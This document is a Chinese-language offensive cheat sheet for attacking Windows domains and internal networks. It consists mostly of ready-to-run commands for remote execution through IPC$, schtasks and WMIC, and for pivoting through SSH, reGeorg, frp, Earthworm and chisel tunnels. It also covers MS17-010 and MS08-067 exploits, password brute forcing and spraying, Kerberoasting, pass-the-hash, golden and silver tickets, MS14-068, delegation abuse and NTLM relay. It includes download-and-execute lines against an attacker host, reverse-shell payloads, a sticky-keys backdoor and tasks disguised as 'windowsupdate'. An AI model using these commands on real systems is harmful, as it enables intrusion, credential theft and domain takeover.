>net use \\192.168.0.55\ipc$ "password" /user:"domain\administrator"
>schtasks /query /fo LIST /v 查看计划任务
上传文件
>copy ok.exe \\192.168.0.55\c$\windows\temp
远程创建定时任务 
>schtasks /create /s "192.168.0.55" /u "admin" /p "qqq23" /RL HIGHEST /F /tn "windowsupdate" /tr "c:\windows\temp\ok.exe" /sc DAILY /mo 1 /ST 20:28 /RU SYSTEM
查询远程创建的任务
>schtasks /query /s "192.168.0.55" /U "admin" /P "qqq23" | findstr "windowsupdate" 
立即执行远程任务
>schtasks /run /tn windowsupdate /s "192.168.0.55" /U "admin" /P "qqq23" 
删除定时任务 
>schtasks /Delete /tn windowsupdate /F /s "192.168.0.55" /u "admin" /p "qqq23"
删除IPC
>net user name /del /y
横向批量上线
>for /f %i in (ip.txt) do net use \\%i\admin$ /user:"administrator" "password" & if %errorlevel% equ 0 ( copy ok.exe \\%i\admin$\debug\ /Y ) & wmic /NODE:"%i" /user:"administrator" /password:"password" PROCESS call create "c:\windows\debug\ok.exe" & @ping 127.0.0.1 -n 8 >nul & net use \\%i\admin$ /del

WMIC

>net use \\192.168.0.55\ipc$ "password" /user:"domain\administrator"
>copy ok.exe \\192.168.0.55\c$\windows\temp
>wmic /NODE:" 192.168.0.55" /user:"administrator" /password:"password" PROCESS call create "c:\windows\temp\ok.exe"
>del \\192.168.0.55\c$\windows\temp\ok.exe /F
>net use \\192.168.0.55\c$ /del

快速定位域管理登过的机器

>psexec –accepteula @ips.txt –u admin –p pass@123 –c 1.bat
#1.bat内容
tasklist /v | find “域管理名字”
@echo off
echo check ip addr config file…
if not exist ip.txt echo ip addr config file ip.txt does not exist! & goto end
echo read and analysis file…
for /F “eol=#” %%i in (ip.txt) do echo %%i &(echo %%i &tasklist /s %%i /u administrator /p pass@123 /v) >>d:\result.txt
:end
exit

MSF添加路由

# route add 内网网卡ip 子网掩码 session的id
# route list
&
Meterpreter>run get_local_subnets查看网段信息再添加路由
# run autoroute -s内网网卡ip/24
# run autoroute -p 查看路由表
&
Meterpreter>run post/multi/manage/autoroute

MSF管道监听

在已经获得meterpreter的机器上配置管道监听器
meterpreter > pivot add -t pipe -l 已控IP -n bgpipe -a x86 -p windows
生成
>msfvenom -p windows/meterpreter/reverse_named_pipe PIPEHOST=已控IP PIPENAME=bgpipe -f exe -o pipe.exe.

代理

SSH

正向代理
SSH动态转发,是建立正向加密的socks通道
出网靶机编辑后restart ssh服务
#vim /etc/ssh/sshd_conf
AllowTcpForwarding yes 允许TCP转发
GatewayPorts yes   允许远程主机连接本地转发的端口
TCPKeepAlive yes    TCP会话保持存活
PasswordAuthentication yes  密码认证
外部攻击机执行
>ssh -C -f -N -g -D 0.0.0.0:12138 root@出网靶机IP -p 22
MSF中设置全局代理或使用其他软件
>setg proxies socks5:0.0.0.0:12138
即可进行攻击隔离区机器

image
image

反向代理
#vim /etc/ssh/sshd_conf
AllowTcpForwarding yes 允许TCP转发
GatewayPorts yes   允许远程主机连接本地转发的端口
TCPKeepAlive yes    TCP会话保持存活
PasswordAuthentication yes  密码认证
ClientAliveInterval 修改为30-60保持连接
ClientAliveCountMax 取消注释 发送请求没响应自动断开次数
107是外网攻击机
内网靶机执行:
>ssh -p 22 -qngfNTR 12138:127.0.0.1:22 root@192.168.0.107

image

攻击机执行
>ssh -p 12138 -qngfNTD 12345 root@192.168.0.107

image

隧道建立,可使用代理软件配置攻击机外网IP:12345访问内网

image

SSH隧道+rc4双重加密
生成木马
>msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 rc4password=123456 lport=446 -f exe -o /var/www/html/bind.exe
MSF设置
>setg proxies socks5:0.0.0.0:12138
>use exploit/multi/handler
>set payload windows/x64/meterpreter/bind_tcp_rc4
>set rc4password 123456
>set rhost 10.1.1.97
>set lport 446

image

公网SSH隧道+Local MSF
>msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=公网IP LPORT=12138 -f exe –o /var/www/html/1.exe
Handler监听本地IP:12138
SSH转发
>ssh -N -R 12138:本地内网IP:12138 root@公网IP

socks4a

#use auxiliary/server/socks4a
#set srvhost 0.0.0.0
#set srvport 1080
#run
多层网络
再多配置个端口
Win: Proxifier& Sockscap64
Linux: proxychains& 浏览器
&
meterpreter > ipconfig 
IP Address : 10.1.13.3 
meterpreter > run autoroute -s 10.1.13.0/24 
meterpreter > run autoroute -p 
10.1.13.0 255.255.255.0 Session 1 
meterpreter > bg 
msf auxiliary(tcp) > use exploit/windows/smb/psexec 
msf exploit(psexec) > set RHOST 10.1.13.2 
msf exploit(psexec) > exploit 

socks5

#use auxiliary/server/socks5
#set srvhost 0.0.0.0
#set srvport 1080
#run
浏览器

基于web的socks5

reGeorg
https://github.com/sensepost/reGeorg
>python reGeorgSocksProxy.py -u http://靶机/tunnel.aspx -l 外网IP -p 10080
打开Proxifier,更改为脚本指定的端口10080

image

或proxychains
#vim /etc/proxychains.conf
去掉dynamic_chain注释>添加socks5 127.0.0.1 10080

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或MSF
>setg proxies socks5:外网IP:10080
>setg ReverseAllowProxy true 允许反向代理

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Neo-reGeorg
Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
$ python3 neoreg.py generate -k password

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伪装页面
$ python3 neoreg.py generate -k <you_password> --file 404.html
Step 2. 使用 neoreg.py 连接WEB服务器,在本地建立 socks 代理
$ python3 neoreg.py -k password -u http://xx/tunnel.php
$ python3 neoreg.py -k <you_password> -u <server_url> --skip
开启代理
$ python neoreg.py -k <you_password> -l 外网IP -p 10081 -u http://xx/neo-tunnel.aspx

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image

ABPTTS端口转发
https://github.com/nccgroup/ABPTTS
端口转发
>python abpttsfactory.py -o webshell 生成shell
./webshell目录下生成的相应脚本文件传入目标中
>python abpttsclient.py -c webshell/config.txt -u "http://目标网址/trans.aspx" -f 攻击机IP:12345/目标IP:3389

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image
image

ABPTTS转发内网其他机器端口
>python abpttsclient.py -c webshell/config.txt -u http://192.168.0.98/qq.aspx -f 192.168.0.107:33890/10.1.1.105:3389

image
image

要转发多个机器或多个端口
>python abpttsclient.py -c webshell/config.txt -u http://192.168.0.98/qq.aspx -f 192.168.0.107:33890/10.1.1.105:3389 -f 192.168.0.107:33891/10.1.1.101:80 -f 192.168.0.107:33892/10.1.1.102:22
SSH代理一级网段
需要一台有权限的Linux靶机
>python abpttsclient.py -c webshell/config.txt -u http://192.168.0.98/qq.aspx -f 192.168.0.107:33890/10.1.1.108:22
>ssh -p 222 -qTfnN -D 0.0.0.0:1081 root@192.168.0.107

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配置proxychains即可

image

SSH代理二级网段
需要靶机web权限,一级内网一台web权限
转发内网web出来传入abptts的shell
>python abpttsclient.py -c webshell/config.txt -u http://192.168.0.98/qq.aspx -f 192.168.0.107:8080/10.1.1.108:80 
>python abpttsclient.py -c webshell/config.txt -u http://192.168.0.107/qq.aspx -f 192.168.0.107:222/10.1.1.106:22
SSH连接192.168.0.107:222即可到达二级网络
反弹msf
kali生成bind型脚本
>msfvenom -p linux/x64/shell_bind_tcp LPORT=12138 -f elf -o shell
在二级不出网linux上执行
将他的12138端口通过abptts转出
>python abpttsclient.py -c webshell/config.txt -u http://192.168.0.98/qq.aspx -f 192.168.0.107:13128/10.1.1.101:12138
Msf本地监听13128即可
Tunna转发
>python proxy.py -u http://192.168.0.98/tunnel.aspx -l 12138 -r 3389 –v

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Earthworm

image

正向(目标机存在外网IP):
>ew –s ssocksd –l 888
连接sockscap64靶机外网IP+端口888
反弹socks5(目标机无外网IP):
外网攻击机:
>ew -s rcsocks -l 1008 -e 888
-l为socks软件连接的端口,-e为目标主机和vps的通信端口。
靶机:
>ew -s rssocks -d 外网IP -e 1008 
sockscap64连接攻击机外网IP+端口1008
二级环境(A有外网,B内网无外网):
靶机B:
>ew –s ssocksd –l 888
靶机A:
>ew –s lcx_tran –l 1080 –f 靶机B –g 888
Sockscap64连接靶机外网IP+端口 1080
二级环境(A无外网,B内网无外网):
外网攻击机:
>ew –s lcx_listen –l 10800 –e 888
靶机B:
>ew –s ssocksd –l 999
靶机A:
>ew -s lcx_slave -d 外网 -e 8888 -f 靶机B -g 9999 
Sockscap64连接攻击机外网IP+端口 10080
三级环境(A无外网,B内网无外网通A,C通B):
外网攻击机:
>ew -s rcsocks -l 1008 -e 888
靶机A:
>ew -s lcx_slave -d 外网攻击机 -e 888 -f 靶机B -g 999
靶机B:
>ew -s lcx_listen -l 999 -e 777
靶机C:
>ew -s rssocks -d靶机B -e 777
Sockscap64连接攻击机外网IP+端口 1008

Frp

https://github.com/fatedier/frp/releases/
使用条件:目标主机通外网,拥有自己的公网ip
对攻击机外网服务端frps.ini进行配置
[common]
bind_port=8080
靶机客户端
[common]
server_addr=服务器端外网IP
server_port=8080
[socks5]
type=tcp
remote_port=12345
plugin=socks5
use_encryption=true
use_compression=true
以上是启用加密和压缩,能躲避流量分析设备。
上传frpc.exe和frpc.ini到目标服务器上,直接运行frpc.exe(在实战中可能会提示找不到配置文件,需要使用-c参数指定配置文件的路径frpc.exe -c 文件路径),可以修改文件名和配置名以混淆视听。
公网vps主机上运行./frps –c frps.ini
靶机执行./frpc –c frpc.ini

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MSF中设置全局变量
>setg proxies 公网IP:12345
>setg ReverseAllowProxy true 运行反向代理

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image

结束攻击
tasklist 
taskkill /pid 进程号 -t –f

SSF

https://github.com/securesocketfunneling/ssf/releases
正向socks代理
边界机器执行:
>ssfd.exe -p 1080 linux执行:./ssfd -p 1080

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攻击机执行:
>ssf.exe -D 12138 -p 1080 192.168.0.98(边界机器IP)

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本机配置proxychain或proxifier

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反向socks代理
攻击机执行:
>ssfd.exe -p 1080

image

内网机器执行:
>ssf.exe -F 12138 -p 1080 192.168.0.106(攻击机IP)

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多级级联
多级内网机执行:
>ssfd.exe -p 1080 -c config.json
Json文件加入字段
"circuit": [ 
{"host": "A中继机IP", "port":"1080"}, 
{"host": "B中继机IP", "port":"1080"} 
],
所有中继机执行:
>ssfd.exe -p 1080 -c config.json
边界机器执行:
>ssf.exe -c config.json -p 1080 多级内网机IP -X 12138
边界机执行:
>nc.exe 127.0.0.1 12138即可获得多级内网机cmdshell
反弹shell
攻击机执行:
>ssfd.exe -p 1080 -c config.json

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内网机器执行:

image

攻击机执行:
>nc 127.0.0.1 12138

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Shadowsocks

https://github.com/shadowsocks/libQtShadowsocks/releases/download/v2.0.2/shadowsocks-libqss-v2.0.2-win64.7z
靶机新建配置文件1.json,内容为
{
"server":"0.0.0.0",
"server_port":13337,
"local_address":"127.0.0.1",
"local_port":1080,
"password":"123456",
"timeout":300,
"method":"aes-256-cfb",
"fast_open":false,
"workers": 1
}
执行
>shadowsocks-libqss.exe -c 1.json –S
攻击机配置

image

浏览器或其他攻击软件配置代理127.0.0.1:1080即可(需有http(s)/socks5功能)

image
image

Goproxy

https://github.com/snail007/goproxy/releases
靶机执行
>proxy.exe socks -t tcp -p "0.0.0.0:13337"

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攻击机配置Proxifier

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Chisel

https://github.com/jpillora/chisel/releases
攻击机监听
>chisel.exe server -p 12138 --reverse

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靶机执行
>chisel.exe client 192.168.0.102:12138 R:12345:127.0.0.1:12346

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靶机执行
>chisel.exe server -p 12346 --socks5

image

攻击机执行
>chisel.exe client 127.0.0.1:12345 socks

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当隧道建立成功时,攻击机本地会启动1080端口

image

即可使用

代理软件

Sockscap64
Proxifier 
Proxychains
#vim /etc/proxychains.conf
去掉dynamic_chain注释>添加socks4 127.0.0.1 1080
#cp /usr/lib/proxychains3/proxyresolv /usr/bin

Ngrok内网穿透

https://ngrok.com/
https://www.ngrok.cc/
下载ngrok
#ngrok authtoken 授权码
#ngrok http 8080
#ngrok tcp 8888

MS17-010

扫描
#use auxiliary/scanner/smb/smb_ms17_010
#set rhosts 192.168.1.0/24
&
#nmap -sT -p 445,139 -open -v -Pn --script=smb-vuln-ms17-010.nse 10.11.1.0/20
攻击
#use exploit/windows/smb/ms_17_010_eternalblue易蓝屏
#set payload windows/x64/meterpreter/reverse_tcp
#use auxiliary/admin/smb/ms17_010_command
#set command REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\" /t REG_SZ /v Debugger /d \"C:\\windows\\system32\\cmd.exe\" /f

MS08_067

#nmap -sT -p 445,139 -open -v -Pn --script=smb-vuln-ms08-067.nse 10.11.1.0/20
#use exploit/windows/smb/ms08_067_netapi
#set payload windows/meterpreter/reverse_tcp
CVE-2019-0708

攻击MySQL数据库

#use auxiliary/scanner/mysql/mysql_version 主机发现
#use auxiliary/scanner/mysql/mysql_login MYSQL爆破
#use exploit/multi/mysql/mysql_udf_payload UDF提权
#use exploit/windows/mysql/mysql_mof MOF提权
#use auxiliary/admin/mysql/mysql_sql 执行命令

攻击MSSQL数据库

>PowerShell -Command "[System.Data.Sql.SqlDataSourceEnumerator]::Instance.GetDataSources()" 列出域内mssql主机
https://github.com/NetSPI/PowerUpSQL
>Get-SQLInstanceLocal          #发现本机SQLServer实例
>Get-SQLInstanceDomain         #发现域中的SQLServer实例
>Get-SQLInstanceBroadcast      #发现工作组SQLServer实例
>$Targets = Get-SQLInstanceBroadcast -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password admin | Where-Object {$_.Status -like "Accessible"} 工作组mssql爆破
>$Targets = Get-SQLInstanceDomain -Verbose | Get-SQLConnectionTestThreaded -Verbose -Threads 10 -username sa -password admin | Where-Object {$_.Status -like "Accessible"} 
>Get-SQLInstanceBroadcast -Verbose | Get-SQLServerLoginDefaultPw –Verbose
>$Targets 域内MSSQL爆破
Nishang脚本爆破MSSQL
>Invoke-BruteForce -ComputerName dc.zone.com -UserList C:\test\users.txt -PasswordList C:\test\wordlist.txt -Service SQL -Verbose -StopOnSuccess
#use auxiliary/scanner/mssql/mssql_login 爆破主机
#use auxiliary/admin/mssql/mssql_exec 调用cmd
#use auxiliary/admin/mssql/mssql_sql 执行SQL语句
#use exploit/windows/mssql/mssql_payload 上线MSSQL主机
http://192.168.0.107/ps/nishang/Execution/Execute-Command-MSSQL.ps1
导入nishang执行MSSQL命令的脚本
>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/nishang/Execution/Execute-Command-MSSQL.ps1')
>Execute-Command-MSSQL -ComputerName 192.168.0.98 -UserName sa -Password admin 会返回powershell
#use auxiliary/scanner/mssql/mssql_hashdump 导出MSSQL密码
已知服务器ntlmhash,未知mssql账号密码
Hash注入+socks无密码连接mssql
>mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:. /ntlm:{hash} /run:\"C:\*\SocksCap64\SocksCap64_RunAsAdmin.exe\"" "exit"
将SSMS.exe加入sockscap中启动
命令行版sqltool
https://github.com/uknowsec/SharpSQLTools

隔离主机payload

隔离主机一般与攻击机无双向路由,payload设置为bind让靶机监听。
>set payload windows/meterpreter/bind_tcp
>set RHOST 隔离机IP

image

爆破

Hydra

参数:
-l 指定的用户名 -p 指定密码
-L 用户名字典  -P 密码字典
-s 指定端口 -o 输出文件
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mysql
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 ssh -s 22 -t 4
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 mssql -vv
>hydra -L /root/user.txt -P pass.txt 10.1.1.10 rdp -V
>hydra -L /root/user.txt -P pass.txt smb 10.1.1.10 -vV
>hydra -L /root/user.txt -P pass.txt ftp://10.1.1.10

Medusa

参数:
-h 目标名或IP  -H 目标列表
-u 用户名 -U 用户名字典
-p 密码 -P 密码字典 -f 爆破成功停止 -M 指定服务 -t 线程
-n 指定端口 -e ns 尝试空密码和用户名密码相同
>medusa -h ip -u sa -P /pass.txt -t 5 -f -M mssql
>medusa -h ip -U /root/user.txt -P /pass.txt -t 5 -f -M mssql

域内爆破

Kerbrute
https://github.com/ropnop/kerbrute
用户枚举
>kerbrute_windows_amd64.exe userenum -d zone.com username.txt

image
密码喷射
>kerbrute_windows_amd64.exe passwordspray -d zone.com use.txt password
image

密码爆破
此项会产生日志
>kerbrute_windows_amd64.exe bruteuser -d zone.com pass.txt name

image

组合爆破
格式为username:password
>kerbrute_windows_amd64.exe -d zone.com bruteforce com.txt
DomainPasswordSpray
https://github.com/dafthack/DomainPasswordSpray
自动收集账户进行密码喷射
>Invoke-DomainPasswordSpray -Password pass

image

组合爆破
>Invoke-DomainPasswordSpray -UserList users.txt -Domain zone.com -PasswordList passlist.txt -OutFile result.txt
会产生日志
单密码
>Invoke-DomainPasswordSpray -UserList users.txt -Domain zone.com -Password password

方程式内网不产生session

msfvenom生成一个x64或x86的dll文件,替换该工具下的x64.dll或x86.dll
windows server 2008 ,msfvenom生成x64.dll文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12345 -f dll > x64.dll
msf配置
use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set lport 12345
set lhost 192.168.0.107
将该x64.dll替换到方程式利用工具下面。
只需要更换目标的IP,就可以获取session。
windows server 2003 ,msfvenom生成x86.dll文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=12345 -f dll > x86.dll
msf配置
use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lport 12345
set lhost 192.168.0.107
通过ms17_010_commend模块执行系统命令添加用户至管理员。再指定SMBPass和SMBUser来建立windows可访问命名管道

Kerberoasting

 https://github.com/nidem/kerberoast 

SPN发现

cmd
>setspn -T 域名 -Q */*

image

Powershell

https://github.com/PyroTek3/PowerShell-AD-Recon
image

Powerview
>Get-NetComputer -SPN termsrv*
>Get-NetUser -SPN

image

>import module GetUserSPNs.ps1
Empire
>usemodule situational_awareness/network/get_spn

申请票据

>Add-Type -AssemblyName System.IdentityModel
>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "SPN"
&
>kerberos::ask /target:SPN

导出票据

mimikatz>kerberos::list /export

破解密码

>python tgsrepcrack.py word.txt file.kirbi
https://github.com/leechristensen/tgscrack
>python extractServiceTicketParts.py file.kirbi
>tgscrack.exe -hashfile hash.txt -wordlist word.txt

重写票据

>python kerberoast.py -p Password123 -r file.kirbi -w new.kirbi -u 500
>python kerberoast.py -p Password123 -r file.kirbi -w new.kirbi -g 512
注入内存、
>kerberos::ptt new.kirbi

GetUserSPNs

https://github.com/SecureAuthCorp/impacket
请求TGS
>python GetUserSPNs.py -request -dc-ip 10.1.1.1 zone.com/y
破解
>hashcat -m 13100 -a 0 kerberos.txt wordlist.txt

ASEPRoasting

当用户关闭了kerberos预身份认证时可以进行攻击

image

>Rubeus.exe asreproast /user:y /dc:10.1.1.100 /domain:zone.com

image

或使用Powerview结合https://github.com/gold1029/ASREPRoast
获取不要求kerberos预身份验证的域内用户
>Get-DomainUser -PreauthNotRequired -Properties distinguishedname –Verbose

image

>Get-ASREPHash -UserName y -Domain zone.com -Verbose

image

破解RC4-HMAC AS-REP
>john hash.txt --wordlist=wordlist.txt

image

PASS-THE-HASH

允许本地管理组所有成员连接
>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f  

WMIExec & TheHash

>powershell -ep bypass
>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-TheHash/Invoke-WMIExec.ps1'); 
>IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-TheHash/Invoke-TheHash.ps1');
>Invoke-TheHash -Type WMIExec -Target 192.168.0.0/24 -Domain zone.com -Username godadmin -Hash f1axxxxxxxxxb771

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WMI

>net use \\1.1.1.1\admin$ /user:"administrator" "password"
>copy windowsupdate.exe \\1.1.1.1\admin$\dir\
>wmic /NODE:"1.1.1.1" /user:"administrator" /password:"password" PROCESS call create "c:\windows\dir\windowsupdate.exe" 
>del \\1.1.1.1\admin$\dir\windowsupdate.exe /F 
>net use \\1.1.1.1\admin$ /del
wmiexec.py
https://github.com/SecureAuthCorp/impacket 
>python wmiexec.py -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09 域名/Administrator@192.168.11.1 "whoami"
>python wmiexec.py admin@192.168.1.2

image

wmiexec.vbs
半交互式:
>cscript //nologo wmiexec.vbs /shell 192.168.1.2 admin pass
单条命令
>cscript //nologo wmiexec.vbs /cmd 192.168.1.2 domain\admin pass "whoami"
下载执行
>wmic /node:192.168.0.115 /user:godadmin /password:password PROCESS call create "cmd /c certutil.exe -urlcache -split -f http://192.168.0.107/clickme.exe c:/windows/temp/win.exe & c:/windows/temp/win.exe & certutil.exe -urlcache -split -f http://192.168.0.107/clickme.exe delete"

image

Powershell
>wmic /NODE:192.168.3.108 /user:"godadmin" /password:"password" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.107/xxx.txt');\""
Invoke-WMIExec
>powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.0.115 -Domain Workgroup -Username godadmin -Hash f1a5b1a3641bec99ff92fe9df700b771 -Command \"net user admin Qwe@123 /add\" -Verbose"

image

>powershell -ep bypass "IEX (New-Object Net.WebClient).DownloadString('http://192.168.0.107/ps/Invoke-WMIExec.ps1');Invoke-WMIExec -Target 192.168.0.115 -Domain Workgroup -Username godadmin -Hash f1xxxxxxxxxxxxx771 -Command \"mshta http://192.168.0.107:8080/YAyAPN6odzbAzKn.hta\" -Verbose"

image

Psexec

>psexec.exe -hashes AAD3B435B51404EEAAD3B435B51404EE:A812E6C2DEFCB0A7B80868F9F3C88D09域名/Administrator@192.168.1.1 "whoami"
>psexec.exe –accepteula \\192.168.1.2 –u admin –p pass cmd.exe 无确认窗
Msf
#use exploit/windows/smb/psexec
#use exploit/windows/smb/psexec_psh(powershell版本)

Mimikatz

Windows XP、Vista、2008、7、2008 r2 和2012没有安装KB2871997补丁的机器上,使用NTLM进行PTH
mimikatz # privilege::debug
mimikatz # sekurlsa::pth /user:admin /domain:xxx.com /ntlm:{ntlm}
执行一个文件
mimikatz # sekurlsa::pth /user:admin /domain:xxx.com /ntlm:{ntlm} /run:powershell.exe
Windows 8.1 、2012 R2、安装KB2871997的Win 7 、2008 R2和2012上可使用AES KEY进行PTH
>privilege::debug
>sekurlsa::ekeys
>sekurlsa::pth /user:administrator /domain:zone.com /aes128:{key}

pth-winexe

>pth-winexe -U godadmin%password --system --ostype=1 //192.168.0.115 cmd

image

Smbexec

>python smbexec.py administrator@192.168.0.98

image

PASS-THE-TICKET

名词

KDC(Key Distribution Center): 密钥分发中心,里面包含两个服务:AS和TGS
AS(Authentication Server): 身份认证服务
TGS(Ticket Granting Server): 票据授予服务
TGT(Ticket Granting Ticket): 由身份认证服务授予的票据,用于身份认证,存储在内存,默认有效期为10小时

黄金票据+Mimikatz

Golden Ticket伪造TGT(Ticket Granting Ticket),可以获取任何Kerberos服务权限,
域控中提取krbtgt的hash
域控:dc.zone.com
域内机器:sub2k8.zone.com
域内普通用户:y
域内机器是不能访问dc上的文件

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清空票据

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域控中获取krbtgt用户的信息
>privilege::debug
>mimikatz log "lsadump::dcsync /domain:zone.com /user:krbtgt"
获取信息:/domain、/sid、/aes256

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在sub2k8中生成golden ticket
>mimikatz “kerberos::golden /krbtgt:{ntlmhash} /admin:域管理 /domain:域名 /sid:sid /ticket:gold.kirbi”

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导入
Mimikatz#kerberos::ptt 123.kirbi

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白银票据+Mimikatz

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Silver Ticket是伪造的TGS,只能访问指定服务权限
域控:dc.zone.com
域内机器:sub2k8.zone.com
域内普通用户:y
域控中导出
>privilege::debug
>sekurlsa::logonpasswords

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Sub2k8伪造票据
>mimikatz "kerberos::golden /domain:zone.com /sid:{SID} /target:dc.zone.com /service:cifs /rc4:{NTLM} /user:y /ptt"

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MS14-068

https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
域控:dc.zone.com/10.1.1.100
域内机器:sub2k8.zone.com/10.1.1.98
域内普通用户:y,
Sub2k8中清除票据
Mimikatz#kerberos::purge
>whoami /user查看SID 
创建ccache票据文件
> MS14-068.exe -u y@zone.com -p password -s S-1-5-21-2346829310-1781191092-2540298887-1112 -d dc.zone.com
注入票据
Mimikatz# Kerberos::ptc c:\xx\xx\xxx.ccache
psexec无密码登陆
>PsExec.exe \\dc.xx.com\ cmd.exe

Mimikatz+MSF

>whoami /user 查看SID
msf >use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
msf >set domain 域名
msf >set password 密码
msf >set rhost 域控机器
msf >set user 用户
msf >set user_sid sid
得到.bin文件
#apt-get install krb5-user
上传mimikatz和bin文件
Mimikatz# Kerberos::clist “xxxx.bin” /export
生成kirbi文件
Meterpreter >load kiwi
Meterpreter >download c:/wmpub/xxxxxx.kirbi /tmp/
注入票据
Meterpreter >kerberos_ticket_use /tmp/xxxxxx.kirbi
#use exploit/windows/local/current_user_psexec
#set TECHNIQUE PSH
#set RHOST dc.xx.com
#set payload windows/meterpreter/reverse_tcp
#set LHOST 192.168.1.1
#set session 1
#exploit

goldenPac.py

kali下
#apt-get install krb5-user
#goldenPac.py –dc-ip 10.1.1.100 –target-ip 10.1.1.100 zone.com/y:password@dc.zone.com

账户委派

账户非受限委派

设置用户y为服务账户(服务账户有委派权限)
>setspn -U -A variant/golden y

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查询非受限委派域内账号,使用powerview
>Get-NetUser -Unconstrained -Domain zone.com

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利用
管理员权限打开mimikatz导出TGT
>privilege::debug
>sekurlsa::tickets /export

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清空票据,导入票据

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获得Powershell会话
> Enter-PSSession -ComputerName dc.zone.com

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账户受限委派

查询受限委派用户
> Get-DomainUser -TrustedToAuth –Domain zone.com

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查询受限委派主机
> Get-DomainComputer -TrustedToAuth -Domain zone.com

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利用方法后见权限维持模块

资源受限委派

获取域管理员
>Get-DomainUser|select -First 1
域对象信息
>Get-DomainObject -Identity 'DC=zone,DC=com'
ms-ds-machineaccountquota允许非特权用户将最多 10 台计算机连接到域

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查看有没有设置msDS-AllowedToActOnBehalfOfOtherIdentity策略
>Get-DomainComputer dc|select name, msDS-AllowedToActOnBehalfOfOtherIdentity

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用powermad添加一具备SPN的机器账户
https://github.com/Kevin-Robertson/Powermad
>New-MachineAccount -MachineAccount newcom

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或
>$pass = ConvertTo-SecureString '123qwe!@#' -AsPlainText –Force
>New-MachineAccount –MachineAccount newcom -Password $pass
或
>New-MachineAccount -MachineAccount newcom -Password $(ConvertTo-SecureString '123qwe!@#' -AsPlainText -Force)

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获取添加的机器账户的SID

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将添加的机器账户的SID设置给DC的msDS-AllowedToActOnBehalfOfOtherIdentity参数
>$SD=New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2346829310-1781191092-2540298887-1122)"; $SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
设置完成后查看

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配置ACL允许访问
>$RawBytes=Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity' |select -expand msds-allowedtoactonbehalfofotheridentity;$Descriptor= New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes,0;$Descriptor.DiscretionaryAcl

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此时使用创建的机器账户的hash可伪造域管
先获取newcom的NTLM
>Rubeus.exe hash /password:123qwe!@# /user:newcom /domain:zone.com

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导入票据伪造域管用户访问cifs服务
>Rubeus.exe s4u /user:newcom$ /rc4:00AFFD88FA323B00D4560B F9FEF0EC2F /impersonateuser:godadmin /msdsspn:cifs/dc.zone.com /ptt

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成功获取到godadmin的tgs

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image
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CVE-2019-0708

>python ntlmrelayx.py -t ldaps://dc.zone.com --remove-mic --delegate-access -smb2support
>python printerbug.py zone.com/y@win7.zone.com 192.168.0.attack
>python getST.py -spn host/win7.zone.com 'zone.com/机器账户$:密码' -impersionate administrator -dc-ip 192.168.0.1
>export KRB5CCNAME=XX.ccahe
>python secretdump.py -k -no-pass dc.zone.com -just-dc

NTLM中继

Ntlmrelayx+资源受限委派

域控需启用ldaps,域机器启用ipv6
*当执行ntlmrelayx脚本时,遇到报错

image

修改
impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py ldapattack.py脚本,在510行上方加入
if self.config.interactive: 

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再重新安装>python setup.py install
使用mitm6通过ipv6接管dns服务器,配置好后开始请求网络的WPAD
>mitm6 -i eth1 -d zone.com

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使用ntlmreplyx.py监听
>python ntlmrelayx.py -t ldaps://dc.zone.com -debug -ip 10.1.1.101 --delegate-access --add-computer
当目标重启网络、访问浏览器、重启电脑时会把攻击机视为代理服务器,当目标通过攻击机代理服务器访问网络时,攻击机将会向目标发送代理的认证请求,并中继NTLM认证到LDAP服务器上,完成攻击。
这里要使用ldaps,因为域控会拒绝在不安全的连接中创建账户。

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可以看到已经成功添加了一个机器账户RFAYOVCC密码6YdX.NXqQGyuR7[
使用此机器账户申请票据
>python getST.py -spn cifs/sub2k8.zone.com zone.com/RFAYOVCC\$ -impersonate y

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>export KRB5CCNAME=y.ccache
获取shell
>python smbexec.py -no-pass -k sub2k8.zone.com

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dumphash、缓存hash
>python secretsdump.py -k -no-pass sub2k8.zone.com

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当域控机器未启用LDAPS,并且已获得域普通用户权限时
使用powermad创建一个机器账户newcom
https://github.com/Kevin-Robertson/Powermad
>New-MachineAccount -MachineAccount newcom -Password $(ConvertTo-SecureString '123qwe!@#' -AsPlainText -Force)

image

image
